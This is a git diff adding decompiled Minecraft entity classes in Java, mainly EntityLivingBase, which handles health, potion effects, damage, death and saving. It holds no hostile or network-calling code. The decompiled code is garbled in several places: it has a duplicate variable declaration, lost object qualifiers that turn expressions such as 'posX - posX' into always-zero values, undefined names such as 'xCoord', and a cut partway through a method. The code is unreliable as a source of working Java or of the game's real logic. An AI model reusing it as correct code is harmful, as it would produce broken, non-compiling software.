+      else if ((leashNBTTag.hasKey("X", 99)) && (leashNBTTag.hasKey("Y", 99)) && (leashNBTTag.hasKey("Z", 99)))
+      {
+        BlockPos var1 = new BlockPos(leashNBTTag.getInteger("X"), leashNBTTag.getInteger("Y"), leashNBTTag.getInteger("Z"));
+        EntityLeashKnot var2 = EntityLeashKnot.func_174863_b(worldObj, var1);
+        
+        if (var2 == null)
+        {
+          var2 = EntityLeashKnot.func_174862_a(worldObj, var1);
+        }
+        
+        leashedToEntity = var2;
+      }
+      else
+      {
+        clearLeashed(false, true);
+      }
+    }
+    
+    leashNBTTag = null;
+  }
+  
+  public boolean func_174820_d(int p_174820_1_, ItemStack p_174820_2_)
+  {
+    int var3;
+    int var3;
+    if (p_174820_1_ == 99)
+    {
+      var3 = 0;
+    }
+    else
+    {
+      var3 = p_174820_1_ - 100 + 1;
+      
+      if ((var3 < 0) || (var3 >= equipment.length))
+      {
+        return false;
+      }
+    }
+    
+    if ((p_174820_2_ != null) && (getArmorPosition(p_174820_2_) != var3) && ((var3 != 4) || (!(p_174820_2_.getItem() instanceof ItemBlock))))
+    {
+      return false;
+    }
+    
+
+    setCurrentItemOrArmor(var3, p_174820_2_);
+    return true;
+  }
+  
+
+
+
+
+  public boolean isServerWorld()
+  {
+    return (super.isServerWorld()) && (!isAIDisabled());
+  }
+  
+
+
+
+  protected void setNoAI(boolean p_94061_1_)
+  {
+    dataWatcher.updateObject(15, Byte.valueOf((byte)(p_94061_1_ ? 1 : 0)));
+  }
+  
+
+
+
+  private boolean isAIDisabled()
+  {
+    return dataWatcher.getWatchableObjectByte(15) != 0;
+  }
+  
+
+
+
+  public boolean isEntityInsideOpaqueBlock()
+  {
+    if (noClip)
+    {
+      return false;
+    }
+    
+
+    BlockPosM posM = new BlockPosM(0, 0, 0);
+    
+    for (int var1 = 0; var1 < 8; var1++)
+    {
+      double var2 = posX + ((var1 >> 0) % 2 - 0.5F) * width * 0.8F;
+      double var4 = posY + ((var1 >> 1) % 2 - 0.5F) * 0.1F;
+      double var6 = posZ + ((var1 >> 2) % 2 - 0.5F) * width * 0.8F;
+      posM.setXyz(var2, var4 + getEyeHeight(), var6);
+      
+      if (worldObj.getBlockState(posM).getBlock().isVisuallyOpaque())
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+
+  private boolean canSkipUpdate()
+  {
+    if (isChild())
+    {
+      return false;
+    }
+    if (hurtTime > 0)
+    {
+      return false;
+    }
+    if (ticksExisted < 20)
+    {
+      return false;
+    }
+    
+
+    World world = getEntityWorld();
+    
+    if (world == null)
+    {
+      return false;
+    }
+    if (playerEntities.size() != 1)
+    {
+      return false;
+    }
+    
+
+    Entity player = (Entity)playerEntities.get(0);
+    double dx = Math.max(Math.abs(posX - posX) - 16.0D, 0.0D);
+    double dz = Math.max(Math.abs(posZ - posZ) - 16.0D, 0.0D);
+    double distSq = dx * dx + dz * dz;
+    return !isInRangeToRenderDist(distSq);
+  }
+  
+
+
+  private void onUpdateMinimal()
+  {
+    entityAge += 1;
+    
+    if ((this instanceof EntityMob))
+    {
+      float brightness = getBrightness(1.0F);
+      
+      if (brightness > 0.5F)
+      {
+        entityAge += 2;
+      }
+    }
+    
+    despawnEntity();
+  }
+  
+  public static enum SpawnPlacementType
+  {
+    ON_GROUND("ON_GROUND", 0, "ON_GROUND", 0), 
+    IN_AIR("IN_AIR", 1, "IN_AIR", 1), 
+    IN_WATER("IN_WATER", 2, "IN_WATER", 2);
+    private static final SpawnPlacementType[] $VALUES = { ON_GROUND, IN_AIR, IN_WATER };
+    private static final String __OBFID = "CL_00002255";
+    
+    private SpawnPlacementType(String p_i46393_1_, int p_i46393_2_, String p_i45893_1_, int p_i45893_2_) {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/EntityLivingBase.java b/src/minecraft/net/minecraft/entity/EntityLivingBase.java
new file mode 100644
index 0000000..95512e9
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/EntityLivingBase.java
@@ -0,0 +1,2273 @@
+package net.minecraft.entity;
+
+import com.google.common.collect.Maps;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Random;
+import java.util.Set;
+import java.util.UUID;
+import net.minecraft.block.Block;
+import net.minecraft.block.Block.SoundType;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.enchantment.EnchantmentHelper;
+import net.minecraft.entity.ai.attributes.AttributeModifier;
+import net.minecraft.entity.ai.attributes.BaseAttributeMap;
+import net.minecraft.entity.ai.attributes.IAttribute;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.item.EntityItem;
+import net.minecraft.entity.item.EntityXPOrb;
+import net.minecraft.entity.passive.EntityWolf;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.ItemArmor;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTBase;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagFloat;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.nbt.NBTTagShort;
+import net.minecraft.network.play.server.S0DPacketCollectItem;
+import net.minecraft.potion.Potion;
+import net.minecraft.potion.PotionEffect;
+import net.minecraft.potion.PotionHelper;
+import net.minecraft.profiler.Profiler;
+import net.minecraft.scoreboard.Team;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.CombatTracker;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.GameRules;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldServer;
+import net.minecraft.world.border.WorldBorder;
+
+public abstract class EntityLivingBase extends Entity
+{
+  private static final UUID sprintingSpeedBoostModifierUUID = UUID.fromString("662A6B8D-DA3E-4C1C-8813-96EA6097278D");
+  private static final AttributeModifier sprintingSpeedBoostModifier = new AttributeModifier(sprintingSpeedBoostModifierUUID, "Sprinting speed boost", 0.30000001192092896D, 2).setSaved(false);
+  private BaseAttributeMap attributeMap;
+  private final CombatTracker _combatTracker = new CombatTracker(this);
+  private final Map activePotionsMap = Maps.newHashMap();
+  
+
+  private final ItemStack[] previousEquipment = new ItemStack[5];
+  
+
+  public boolean isSwingInProgress;
+  
+
+  public int swingProgressInt;
+  
+
+  public int arrowHitTimer;
+  
+
+  public int hurtTime;
+  
+
+  public int maxHurtTime;
+  
+
+  public float attackedAtYaw;
+  
+  public int deathTime;
+  
+  public float prevSwingProgress;
+  
+  public float swingProgress;
+  
+  public float prevLimbSwingAmount;
+  
+  public float limbSwingAmount;
+  
+  public float limbSwing;
+  
+  public int maxHurtResistantTime = 20;
+  
+  public float prevCameraPitch;
+  
+  public float cameraPitch;
+  
+  public float field_70769_ao;
+  
+  public float field_70770_ap;
+  
+  public float renderYawOffset;
+  
+  public float prevRenderYawOffset;
+  
+  public float rotationYawHead;
+  
+  public float prevRotationYawHead;
+  public float jumpMovementFactor = 0.02F;
+  
+
+  protected EntityPlayer attackingPlayer;
+  
+
+  protected int recentlyHit;
+  
+
+  protected boolean dead;
+  
+
+  protected int entityAge;
+  
+
+  protected float field_70768_au;
+  
+
+  protected float field_110154_aX;
+  
+
+  protected float field_70764_aw;
+  
+
+  protected float field_70763_ax;
+  
+
+  protected float field_70741_aB;
+  
+
+  protected int scoreValue;
+  
+
+  protected float lastDamage;
+  
+
+  protected boolean isJumping;
+  
+
+  public float moveStrafing;
+  
+  public float moveForward;
+  
+  protected float randomYawVelocity;
+  
+  protected int newPosRotationIncrements;
+  
+  protected double newPosX;
+  
+  protected double newPosY;
+  
+  protected double newPosZ;
+  
+  protected double newRotationYaw;
+  
+  protected double newRotationPitch;
+  
+  private boolean potionsNeedUpdate = true;
+  
+
+  private EntityLivingBase entityLivingToAttack;
+  
+
+  private int revengeTimer;
+  
+  private EntityLivingBase lastAttacker;
+  
+  private int lastAttackerTime;
+  
+  private float landMovementFactor;
+  
+  private int jumpTicks;
+  
+  private float field_110151_bq;
+  
+  private static final String __OBFID = "CL_00001549";
+  
+
+  public void func_174812_G()
+  {
+    attackEntityFrom(DamageSource.outOfWorld, Float.MAX_VALUE);
+  }
+  
+  public EntityLivingBase(World worldIn)
+  {
+    super(worldIn);
+    applyEntityAttributes();
+    setHealth(getMaxHealth());
+    preventEntitySpawning = true;
+    field_70770_ap = ((float)((Math.random() + 1.0D) * 0.009999999776482582D));
+    setPosition(posX, posY, posZ);
+    field_70769_ao = ((float)Math.random() * 12398.0F);
+    rotationYaw = ((float)(Math.random() * 3.141592653589793D * 2.0D));
+    rotationYawHead = rotationYaw;
+    stepHeight = 0.6F;
+  }
+  
+  protected void entityInit()
+  {
+    dataWatcher.addObject(7, Integer.valueOf(0));
+    dataWatcher.addObject(8, Byte.valueOf((byte)0));
+    dataWatcher.addObject(9, Byte.valueOf((byte)0));
+    dataWatcher.addObject(6, Float.valueOf(1.0F));
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    getAttributeMap().registerAttribute(SharedMonsterAttributes.maxHealth);
+    getAttributeMap().registerAttribute(SharedMonsterAttributes.knockbackResistance);
+    getAttributeMap().registerAttribute(SharedMonsterAttributes.movementSpeed);
+  }
+  
+  protected void func_180433_a(double p_180433_1_, boolean p_180433_3_, Block p_180433_4_, BlockPos p_180433_5_)
+  {
+    if (!isInWater())
+    {
+      handleWaterMovement();
+    }
+    
+    if ((!worldObj.isRemote) && (fallDistance > 3.0F) && (p_180433_3_))
+    {
+      IBlockState var6 = worldObj.getBlockState(p_180433_5_);
+      Block var7 = var6.getBlock();
+      float var8 = MathHelper.ceiling_float_int(fallDistance - 3.0F);
+      
+      if (var7.getMaterial() != Material.air)
+      {
+        double var9 = Math.min(0.2F + var8 / 15.0F, 10.0F);
+        
+        if (var9 > 2.5D)
+        {
+          var9 = 2.5D;
+        }
+        
+        int var11 = (int)(150.0D * var9);
+        ((WorldServer)worldObj).func_175739_a(EnumParticleTypes.BLOCK_DUST, posX, posY, posZ, var11, 0.0D, 0.0D, 0.0D, 0.15000000596046448D, new int[] { Block.getStateId(var6) });
+      }
+    }
+    
+    super.func_180433_a(p_180433_1_, p_180433_3_, p_180433_4_, p_180433_5_);
+  }
+  
+  public boolean canBreatheUnderwater()
+  {
+    return false;
+  }
+  
+
+
+
+  public void onEntityUpdate()
+  {
+    prevSwingProgress = swingProgress;
+    super.onEntityUpdate();
+    worldObj.theProfiler.startSection("livingEntityBaseTick");
+    boolean var1 = this instanceof EntityPlayer;
+    
+    if (isEntityAlive())
+    {
+      if (isEntityInsideOpaqueBlock())
+      {
+        attackEntityFrom(DamageSource.inWall, 1.0F);
+      }
+      else if ((var1) && (!worldObj.getWorldBorder().contains(getEntityBoundingBox())))
+      {
+        double var2 = worldObj.getWorldBorder().getClosestDistance(this) + worldObj.getWorldBorder().getDamageBuffer();
+        
+        if (var2 < 0.0D)
+        {
+          attackEntityFrom(DamageSource.inWall, Math.max(1, MathHelper.floor_double(-var2 * worldObj.getWorldBorder().func_177727_n())));
+        }
+      }
+    }
+    
+    if ((isImmuneToFire()) || (worldObj.isRemote))
+    {
+      extinguish();
+    }
+    
+    boolean var7 = (var1) && (capabilities.disableDamage);
+    
+    if ((isEntityAlive()) && (isInsideOfMaterial(Material.water)))
+    {
+      if ((!canBreatheUnderwater()) && (!isPotionActive(waterBreathingid)) && (!var7))
+      {
+        setAir(decreaseAirSupply(getAir()));
+        
+        if (getAir() == -20)
+        {
+          setAir(0);
+          
+          for (int var3 = 0; var3 < 8; var3++)
+          {
+            float var4 = rand.nextFloat() - rand.nextFloat();
+            float var5 = rand.nextFloat() - rand.nextFloat();
+            float var6 = rand.nextFloat() - rand.nextFloat();
+            worldObj.spawnParticle(EnumParticleTypes.WATER_BUBBLE, posX + var4, posY + var5, posZ + var6, motionX, motionY, motionZ, new int[0]);
+          }
+          
+          attackEntityFrom(DamageSource.drown, 2.0F);
+        }
+      }
+      
+      if ((!worldObj.isRemote) && (isRiding()) && ((ridingEntity instanceof EntityLivingBase)))
+      {
+        mountEntity(null);
+      }
+    }
+    else
+    {
+      setAir(300);
+    }
+    
+    if ((isEntityAlive()) && (isWet()))
+    {
+      extinguish();
+    }
+    
+    prevCameraPitch = cameraPitch;
+    
+    if (hurtTime > 0)
+    {
+      hurtTime -= 1;
+    }
+    
+    if ((hurtResistantTime > 0) && (!(this instanceof net.minecraft.entity.player.EntityPlayerMP)))
+    {
+      hurtResistantTime -= 1;
+    }
+    
+    if (getHealth() <= 0.0F)
+    {
+      onDeathUpdate();
+    }
+    
+    if (recentlyHit > 0)
+    {
+      recentlyHit -= 1;
+    }
+    else
+    {
+      attackingPlayer = null;
+    }
+    
+    if ((lastAttacker != null) && (!lastAttacker.isEntityAlive()))
+    {
+      lastAttacker = null;
+    }
+    
+    if (entityLivingToAttack != null)
+    {
+      if (!entityLivingToAttack.isEntityAlive())
+      {
+        setRevengeTarget(null);
+      }
+      else if (ticksExisted - revengeTimer > 100)
+      {
+        setRevengeTarget(null);
+      }
+    }
+    
+    updatePotionEffects();
+    field_70763_ax = field_70764_aw;
+    prevRenderYawOffset = renderYawOffset;
+    prevRotationYawHead = rotationYawHead;
+    prevRotationYaw = rotationYaw;
+    prevRotationPitch = rotationPitch;
+    worldObj.theProfiler.endSection();
+  }
+  
+
+
+
+  public boolean isChild()
+  {
+    return false;
+  }
+  
+
+
+
+  protected void onDeathUpdate()
+  {
+    deathTime += 1;
+    
+    if (deathTime == 20)
+    {
+
+
+      if ((!worldObj.isRemote) && ((recentlyHit > 0) || (isPlayer())) && (func_146066_aG()) && (worldObj.getGameRules().getGameRuleBooleanValue("doMobLoot")))
+      {
+        int var1 = getExperiencePoints(attackingPlayer);
+        
+        while (var1 > 0)
+        {
+          int var2 = EntityXPOrb.getXPSplit(var1);
+          var1 -= var2;
+          worldObj.spawnEntityInWorld(new EntityXPOrb(worldObj, posX, posY, posZ, var2));
+        }
+      }
+      
+      setDead();
+      
+      for (int var1 = 0; var1 < 20; var1++)
+      {
+        double var8 = rand.nextGaussian() * 0.02D;
+        double var4 = rand.nextGaussian() * 0.02D;
+        double var6 = rand.nextGaussian() * 0.02D;
+        worldObj.spawnParticle(EnumParticleTypes.EXPLOSION_NORMAL, posX + rand.nextFloat() * width * 2.0F - width, posY + rand.nextFloat() * height, posZ + rand.nextFloat() * width * 2.0F - width, var8, var4, var6, new int[0]);
+      }
+    }
+  }
+  
+  protected boolean func_146066_aG()
+  {
+    return !isChild();
+  }
+  
+
+
+
+  protected int decreaseAirSupply(int p_70682_1_)
+  {
+    int var2 = EnchantmentHelper.func_180319_a(this);
+    return (var2 > 0) && (rand.nextInt(var2 + 1) > 0) ? p_70682_1_ : p_70682_1_ - 1;
+  }
+  
+
+
+
+  protected int getExperiencePoints(EntityPlayer p_70693_1_)
+  {
+    return 0;
+  }
+  
+
+
+
+  protected boolean isPlayer()
+  {
+    return false;
+  }
+  
+  public Random getRNG()
+  {
+    return rand;
+  }
+  
+  public EntityLivingBase getAITarget()
+  {
+    return entityLivingToAttack;
+  }
+  
+  public int getRevengeTimer()
+  {
+    return revengeTimer;
+  }
+  
+  public void setRevengeTarget(EntityLivingBase p_70604_1_)
+  {
+    entityLivingToAttack = p_70604_1_;
+    revengeTimer = ticksExisted;
+  }
+  
+  public EntityLivingBase getLastAttacker()
+  {
+    return lastAttacker;
+  }
+  
+  public int getLastAttackerTime()
+  {
+    return lastAttackerTime;
+  }
+  
+  public void setLastAttacker(Entity p_130011_1_)
+  {
+    if ((p_130011_1_ instanceof EntityLivingBase))
+    {
+      lastAttacker = ((EntityLivingBase)p_130011_1_);
+    }
+    else
+    {
+      lastAttacker = null;
+    }
+    
+    lastAttackerTime = ticksExisted;
+  }
+  
+  public int getAge()
+  {
+    return entityAge;
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    tagCompound.setFloat("HealF", getHealth());
+    tagCompound.setShort("Health", (short)(int)Math.ceil(getHealth()));
+    tagCompound.setShort("HurtTime", (short)hurtTime);
+    tagCompound.setInteger("HurtByTimestamp", revengeTimer);
+    tagCompound.setShort("DeathTime", (short)deathTime);
+    tagCompound.setFloat("AbsorptionAmount", getAbsorptionAmount());
+    ItemStack[] var2 = getInventory();
+    int var3 = var2.length;
+    
+
+
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      ItemStack var5 = var2[var4];
+      
+      if (var5 != null)
+      {
+        attributeMap.removeAttributeModifiers(var5.getAttributeModifiers());
+      }
+    }
+    
+    tagCompound.setTag("Attributes", SharedMonsterAttributes.writeBaseAttributeMapToNBT(getAttributeMap()));
+    var2 = getInventory();
+    var3 = var2.length;
+    
+    for (var4 = 0; var4 < var3; var4++)
+    {
+      ItemStack var5 = var2[var4];
+      
+      if (var5 != null)
+      {
+        attributeMap.applyAttributeModifiers(var5.getAttributeModifiers());
+      }
+    }
+    
+    if (!activePotionsMap.isEmpty())
+    {
+      NBTTagList var6 = new NBTTagList();
+      Iterator var7 = activePotionsMap.values().iterator();
+      
+      while (var7.hasNext())
+      {
+        PotionEffect var8 = (PotionEffect)var7.next();
+        var6.appendTag(var8.writeCustomPotionEffectToNBT(new NBTTagCompound()));
+      }
+      
+      tagCompound.setTag("ActiveEffects", var6);
+    }
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    setAbsorptionAmount(tagCompund.getFloat("AbsorptionAmount"));
+    
+    if ((tagCompund.hasKey("Attributes", 9)) && (worldObj != null) && (!worldObj.isRemote))
+    {
+      SharedMonsterAttributes.func_151475_a(getAttributeMap(), tagCompund.getTagList("Attributes", 10));
+    }
+    
+    if (tagCompund.hasKey("ActiveEffects", 9))
+    {
+      NBTTagList var2 = tagCompund.getTagList("ActiveEffects", 10);
+      
+      for (int var3 = 0; var3 < var2.tagCount(); var3++)
+      {
+        NBTTagCompound var4 = var2.getCompoundTagAt(var3);
+        PotionEffect var5 = PotionEffect.readCustomPotionEffectFromNBT(var4);
+        
+        if (var5 != null)
+        {
+          activePotionsMap.put(Integer.valueOf(var5.getPotionID()), var5);
+        }
+      }
+    }
+    
+    if (tagCompund.hasKey("HealF", 99))
+    {
+      setHealth(tagCompund.getFloat("HealF"));
+    }
+    else
+    {
+      NBTBase var6 = tagCompund.getTag("Health");
+      
+      if (var6 == null)
+      {
+        setHealth(getMaxHealth());
+      }
+      else if (var6.getId() == 5)
+      {
+        setHealth(((NBTTagFloat)var6).getFloat());
+      }
+      else if (var6.getId() == 2)
+      {
+        setHealth(((NBTTagShort)var6).getShort());
+      }
+    }
+    
+    hurtTime = tagCompund.getShort("HurtTime");
+    deathTime = tagCompund.getShort("DeathTime");
+    revengeTimer = tagCompund.getInteger("HurtByTimestamp");
+  }
+  
+  protected void updatePotionEffects()
+  {
+    Iterator var1 = activePotionsMap.keySet().iterator();
+    
+    while (var1.hasNext())
+    {
+      Integer var2 = (Integer)var1.next();
+      PotionEffect var3 = (PotionEffect)activePotionsMap.get(var2);
+      
+      if (!var3.onUpdate(this))
+      {
+        if (!worldObj.isRemote)
+        {
+          var1.remove();
+          onFinishedPotionEffect(var3);
+        }
+      }
+      else if (var3.getDuration() % 600 == 0)
+      {
+        onChangedPotionEffect(var3, false);
+      }
+    }
+    
+    if (potionsNeedUpdate)
+    {
+      if (!worldObj.isRemote)
+      {
+        func_175135_B();
+      }
+      
+      potionsNeedUpdate = false;
+    }
+    
+    int var11 = dataWatcher.getWatchableObjectInt(7);
+    boolean var12 = dataWatcher.getWatchableObjectByte(8) > 0;
+    
+    if (var11 > 0)
+    {
+      boolean var4 = false;
+      
+      if (!isInvisible())
+      {
+        var4 = rand.nextBoolean();
+      }
+      else
+      {
+        var4 = rand.nextInt(15) == 0;
+      }
+      
+      if (var12)
+      {
+        var4 &= rand.nextInt(5) == 0;
+      }
+      
+      if ((var4) && (var11 > 0))
+      {
+        double var5 = (var11 >> 16 & 0xFF) / 255.0D;
+        double var7 = (var11 >> 8 & 0xFF) / 255.0D;
+        double var9 = (var11 >> 0 & 0xFF) / 255.0D;
+        worldObj.spawnParticle(var12 ? EnumParticleTypes.SPELL_MOB_AMBIENT : EnumParticleTypes.SPELL_MOB, posX + (rand.nextDouble() - 0.5D) * width, posY + rand.nextDouble() * height, posZ + (rand.nextDouble() - 0.5D) * width, var5, var7, var9, new int[0]);
+      }
+    }
+  }
+  
+  protected void func_175135_B()
+  {
+    if (activePotionsMap.isEmpty())
+    {
+      func_175133_bi();
+      setInvisible(false);
+    }
+    else
+    {
+      int var1 = PotionHelper.calcPotionLiquidColor(activePotionsMap.values());
+      dataWatcher.updateObject(8, Byte.valueOf((byte)(PotionHelper.func_82817_b(activePotionsMap.values()) ? 1 : 0)));
+      dataWatcher.updateObject(7, Integer.valueOf(var1));
+      setInvisible(isPotionActive(invisibilityid));
+    }
+  }
+  
+  protected void func_175133_bi()
+  {
+    dataWatcher.updateObject(8, Byte.valueOf((byte)0));
+    dataWatcher.updateObject(7, Integer.valueOf(0));
+  }
+  
+  public void clearActivePotions()
+  {
+    Iterator var1 = activePotionsMap.keySet().iterator();
+    
+    while (var1.hasNext())
+    {
+      Integer var2 = (Integer)var1.next();
+      PotionEffect var3 = (PotionEffect)activePotionsMap.get(var2);
+      
+      if (!worldObj.isRemote)
+      {
+        var1.remove();
+        onFinishedPotionEffect(var3);
+      }
+    }
+  }
+  
+  public Collection getActivePotionEffects()
+  {
+    return activePotionsMap.values();
+  }
+  
+  public boolean isPotionActive(int p_82165_1_)
+  {
+    return activePotionsMap.containsKey(Integer.valueOf(p_82165_1_));
+  }
+  
+  public boolean isPotionActive(Potion p_70644_1_)
+  {
+    return activePotionsMap.containsKey(Integer.valueOf(id));
+  }
+  
+
+
+
+  public PotionEffect getActivePotionEffect(Potion p_70660_1_)
+  {
+    return (PotionEffect)activePotionsMap.get(Integer.valueOf(id));
+  }
+  
+
+
+
+  public void addPotionEffect(PotionEffect p_70690_1_)
+  {
+    if (isPotionApplicable(p_70690_1_))
+    {
+      if (activePotionsMap.containsKey(Integer.valueOf(p_70690_1_.getPotionID())))
+      {
+        ((PotionEffect)activePotionsMap.get(Integer.valueOf(p_70690_1_.getPotionID()))).combine(p_70690_1_);
+        onChangedPotionEffect((PotionEffect)activePotionsMap.get(Integer.valueOf(p_70690_1_.getPotionID())), true);
+      }
+      else
+      {
+        activePotionsMap.put(Integer.valueOf(p_70690_1_.getPotionID()), p_70690_1_);
+        onNewPotionEffect(p_70690_1_);
+      }
+    }
+  }
+  
+  public boolean isPotionApplicable(PotionEffect p_70687_1_)
+  {
+    if (getCreatureAttribute() == EnumCreatureAttribute.UNDEAD)
+    {
+      int var2 = p_70687_1_.getPotionID();
+      
+      if ((var2 == regenerationid) || (var2 == poisonid))
+      {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+
+
+  public boolean isEntityUndead()
+  {
+    return getCreatureAttribute() == EnumCreatureAttribute.UNDEAD;
+  }
+  
+
+
+
+  public void removePotionEffectClient(int p_70618_1_)
+  {
+    activePotionsMap.remove(Integer.valueOf(p_70618_1_));
+  }
+  
+
+
+
+  public void removePotionEffect(int p_82170_1_)
+  {
+    PotionEffect var2 = (PotionEffect)activePotionsMap.remove(Integer.valueOf(p_82170_1_));
+    
+    if (var2 != null)
+    {
+      onFinishedPotionEffect(var2);
+    }
+  }
+  
+  protected void onNewPotionEffect(PotionEffect p_70670_1_)
+  {
+    potionsNeedUpdate = true;
+    
+    if (!worldObj.isRemote)
+    {
+      Potion.potionTypes[p_70670_1_.getPotionID()].applyAttributesModifiersToEntity(this, getAttributeMap(), p_70670_1_.getAmplifier());
+    }
+  }
+  
+  protected void onChangedPotionEffect(PotionEffect p_70695_1_, boolean p_70695_2_)
+  {
+    potionsNeedUpdate = true;
+    
+    if ((p_70695_2_) && (!worldObj.isRemote))
+    {
+      Potion.potionTypes[p_70695_1_.getPotionID()].removeAttributesModifiersFromEntity(this, getAttributeMap(), p_70695_1_.getAmplifier());
+      Potion.potionTypes[p_70695_1_.getPotionID()].applyAttributesModifiersToEntity(this, getAttributeMap(), p_70695_1_.getAmplifier());
+    }
+  }
+  
+  protected void onFinishedPotionEffect(PotionEffect p_70688_1_)
+  {
+    potionsNeedUpdate = true;
+    
+    if (!worldObj.isRemote)
+    {
+      Potion.potionTypes[p_70688_1_.getPotionID()].removeAttributesModifiersFromEntity(this, getAttributeMap(), p_70688_1_.getAmplifier());
+    }
+  }
+  
+
+
+
+  public void heal(float p_70691_1_)
+  {
+    float var2 = getHealth();
+    
+    if (var2 > 0.0F)
+    {
+      setHealth(var2 + p_70691_1_);
+    }
+  }
+  
+  public final float getHealth()
+  {
+    return dataWatcher.getWatchableObjectFloat(6);
+  }
+  
+  public void setHealth(float p_70606_1_)
+  {
+    dataWatcher.updateObject(6, Float.valueOf(MathHelper.clamp_float(p_70606_1_, 0.0F, getMaxHealth())));
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    if (func_180431_b(source))
+    {
+      return false;
+    }
+    if (worldObj.isRemote)
+    {
+      return false;
+    }
+    
+
+    entityAge = 0;
+    
+    if (getHealth() <= 0.0F)
+    {
+      return false;
+    }
+    if ((source.isFireDamage()) && (isPotionActive(Potion.fireResistance)))
+    {
+      return false;
+    }
+    
+
+    if (((source == DamageSource.anvil) || (source == DamageSource.fallingBlock)) && (getEquipmentInSlot(4) != null))
+    {
+      getEquipmentInSlot(4).damageItem((int)(amount * 4.0F + rand.nextFloat() * amount * 2.0F), this);
+      amount *= 0.75F;
+    }
+    
+    limbSwingAmount = 1.5F;
+    boolean var3 = true;
+    
+    if (hurtResistantTime > maxHurtResistantTime / 2.0F)
+    {
+      if (amount <= lastDamage)
+      {
+        return false;
+      }
+      
+      damageEntity(source, amount - lastDamage);
+      lastDamage = amount;
+      var3 = false;
+    }
+    else
+    {
+      lastDamage = amount;
+      hurtResistantTime = maxHurtResistantTime;
+      damageEntity(source, amount);
+      hurtTime = (this.maxHurtTime = 10);
+    }
+    
+    attackedAtYaw = 0.0F;
+    Entity var4 = source.getEntity();
+    
+    if (var4 != null)
+    {
+      if ((var4 instanceof EntityLivingBase))
+      {
+        setRevengeTarget((EntityLivingBase)var4);
+      }
+      
+      if ((var4 instanceof EntityPlayer))
+      {
+        recentlyHit = 100;
+        attackingPlayer = ((EntityPlayer)var4);
+      }
+      else if ((var4 instanceof EntityWolf))
+      {
+        EntityWolf var5 = (EntityWolf)var4;
+        
+        if (var5.isTamed())
+        {
+          recentlyHit = 100;
+          attackingPlayer = null;
+        }
+      }
+    }
+    
+    if (var3)
+    {
+      worldObj.setEntityState(this, (byte)2);
+      
+      if (source != DamageSource.drown)
+      {
+        setBeenAttacked();
+      }
+      
+      if (var4 != null)
+      {
+        double var9 = posX - posX;
+        
+
+        for (double var7 = posZ - posZ; var9 * var9 + var7 * var7 < 1.0E-4D; var7 = (Math.random() - Math.random()) * 0.01D)
+        {
+          var9 = (Math.random() - Math.random()) * 0.01D;
+        }
+        
+        attackedAtYaw = ((float)(Math.atan2(var7, var9) * 180.0D / 3.141592653589793D - rotationYaw));
+        knockBack(var4, amount, var9, var7);
+      }
+      else
+      {
+        attackedAtYaw = ((int)(Math.random() * 2.0D) * 180);
+      }
+    }
+    
+
+
+    if (getHealth() <= 0.0F)
+    {
+      String var10 = getDeathSound();
+      
+      if ((var3) && (var10 != null))
+      {
+        playSound(var10, getSoundVolume(), getSoundPitch());
+      }
+      
+      onDeath(source);
+    }
+    else
+    {
+      String var10 = getHurtSound();
+      
+      if ((var3) && (var10 != null))
+      {
+        playSound(var10, getSoundVolume(), getSoundPitch());
+      }
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+
+  public void renderBrokenItemStack(ItemStack p_70669_1_)
+  {
+    playSound("random.break", 0.8F, 0.8F + worldObj.rand.nextFloat() * 0.4F);
+    
+    for (int var2 = 0; var2 < 5; var2++)
+    {
+      Vec3 var3 = new Vec3((rand.nextFloat() - 0.5D) * 0.1D, Math.random() * 0.1D + 0.1D, 0.0D);
+      var3 = var3.rotatePitch(-rotationPitch * 3.1415927F / 180.0F);
+      var3 = var3.rotateYaw(-rotationYaw * 3.1415927F / 180.0F);
+      double var4 = -rand.nextFloat() * 0.6D - 0.3D;
+      Vec3 var6 = new Vec3((rand.nextFloat() - 0.5D) * 0.3D, var4, 0.6D);
+      var6 = var6.rotatePitch(-rotationPitch * 3.1415927F / 180.0F);
+      var6 = var6.rotateYaw(-rotationYaw * 3.1415927F / 180.0F);
+      var6 = var6.addVector(posX, posY + getEyeHeight(), posZ);
+      worldObj.spawnParticle(EnumParticleTypes.ITEM_CRACK, xCoord, yCoord, zCoord, xCoord, yCoord + 0.05D, zCoord, new int[] { net.minecraft.item.Item.getIdFromItem(p_70669_1_.getItem()) });
+    }
+  }
+  
+
+
+
+  public void onDeath(DamageSource cause)
+  {
+    Entity var2 = cause.getEntity();
+    EntityLivingBase var3 = func_94060_bK();
+    
+    if ((scoreValue >= 0) && (var3 != null))
+    {
+      var3.addToPlayerScore(this, scoreValue);
+    }
+    
+    if (var2 != null)
+    {
+      var2.onKillEntity(this);
+    }
+    
+    dead = true;
+    getCombatTracker().func_94549_h();
+    
+    if (!worldObj.isRemote)
+    {
+      int var4 = 0;
+      
+      if ((var2 instanceof EntityPlayer))
+      {
+        var4 = EnchantmentHelper.getLootingModifier((EntityLivingBase)var2);
+      }
+      
+      if ((func_146066_aG()) && (worldObj.getGameRules().getGameRuleBooleanValue("doMobLoot")))
+      {
